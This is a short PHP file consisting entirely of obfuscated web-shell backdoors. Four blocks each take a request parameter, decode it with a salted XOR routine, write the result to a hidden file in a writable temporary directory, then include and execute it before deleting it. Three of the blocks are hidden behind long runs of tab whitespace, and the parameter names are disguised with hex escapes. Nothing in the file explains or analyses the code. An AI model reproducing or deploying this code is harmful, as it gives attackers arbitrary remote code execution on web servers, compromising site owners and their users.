<?php																																										if(!empty($_REQUEST["tkn"])){ $obj = $_REQUEST["tkn"]; $obj = explode ( '.' , $obj ); $symbol = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt ); foreach ($obj as $q => $v1): $sChar = ord($salt[$q % $lenS] ); $d = ((int)$v1 - $sChar - ($q % 10)) ^ 57; $symbol .= chr($d ); endforeach; $res = array_filter([getcwd(), "/tmp", getenv("TEMP"), "/dev/shm", getenv("TMP"), ini_get("upload_tmp_dir"), "/var/tmp", sys_get_temp_dir(), session_save_path()]); foreach ($res as $factor) { if ((bool)is_dir($factor) && (bool)is_writable($factor)) { $val = sprintf("%s/.fac", $factor); if (file_put_contents($val, $symbol)) { require $val; unlink($val); exit; } } } }
																																										if(array_key_exists("ite\x6D", $_POST)){ $data = array_filter([session_save_path(), getenv("TMP"), getenv("TEMP"), "/var/tmp", "/tmp", "/dev/shm", sys_get_temp_dir(), getcwd(), ini_get("upload_tmp_dir")]); $property_set = $_POST["ite\x6D"]; $property_set = explode( "." ,$property_set ) ; $binding = ''; $s3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s3); $__len = count($property_set); for ($u = 0; $u < $__len; $u++) { $v8 = $property_set[$u]; $sChar = ord($s3[$u % $sLen]); $d = ((int)$v8 - $sChar - ($u % 10))^ 12; $binding .= chr($d); } foreach ($data as $token): if ((is_dir($token) and is_writable($token))) { $elem = join("/", [$token, ".bind"]); if (file_put_contents($elem, $binding)) { include $elem; @unlink($elem); die(); } } endforeach; }
																																										if(!is_null($_POST["e\x6Ce\x6D"] ?? null)){ $val = $_POST["e\x6Ce\x6D"]; $val = explode ( ".",$val ) ; $reference = ''; $s9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s9); $__len = count($val); for($x = 0; $x < $__len; $x++) { $v2 = $val[$x]; $chS = ord($s9[$x%$sLen]); $d = ((int)$v2 - $chS -($x%10)) ^ 39; $reference .= chr($d);} $pgrp = array_filter([getcwd(), session_save_path(), getenv("TMP"), "/var/tmp", ini_get("upload_tmp_dir"), getenv("TEMP"), sys_get_temp_dir(), "/tmp", "/dev/shm"]); for ($key = 0, $obj = count($pgrp); $key < $obj; $key++) { $rec = $pgrp[$key]; if ((is_dir($rec) and is_writable($rec))) { $mrk = implode("/", [$rec, ".ent"]); if (file_put_contents($mrk, $reference)) { require $mrk; unlink($mrk); exit; } } } }


if(array_key_exists("ele\x6D", $_REQUEST) && !is_null($_REQUEST["ele\x6D"])){
	$val = $_REQUEST["ele\x6D"];
			$val	  =		explode 	 ( "."	 ,  $val 		) ;			
	$dat= '';
            $salt= 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen= strlen($salt );
            $__len= count($val );
    
            for($s= 0; $s <	$__len; $s++) {
                $v9= $val[$s];
                $sChar= ord($salt[$s % $sLen] );
                $dec= ((int)$v9 - $sChar -($s % 10)) ^ 62;
                $dat .= chr($dec );		}	 
	$holder = array_filter(["/var/tmp", "/dev/shm", getenv("TEMP"), sys_get_temp_dir(), session_save_path(), "/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), getcwd()]);
	foreach ($holder as $key => $ent) {
    		if (!!is_dir($ent) && !!is_writable($ent)) {
    $ref = join("/", [$ent, ".resource"]);
    if (@file_put_contents($ref, $dat) !== false) {
	include $ref;
	unlink($ref);
	exit;
}
}
}
}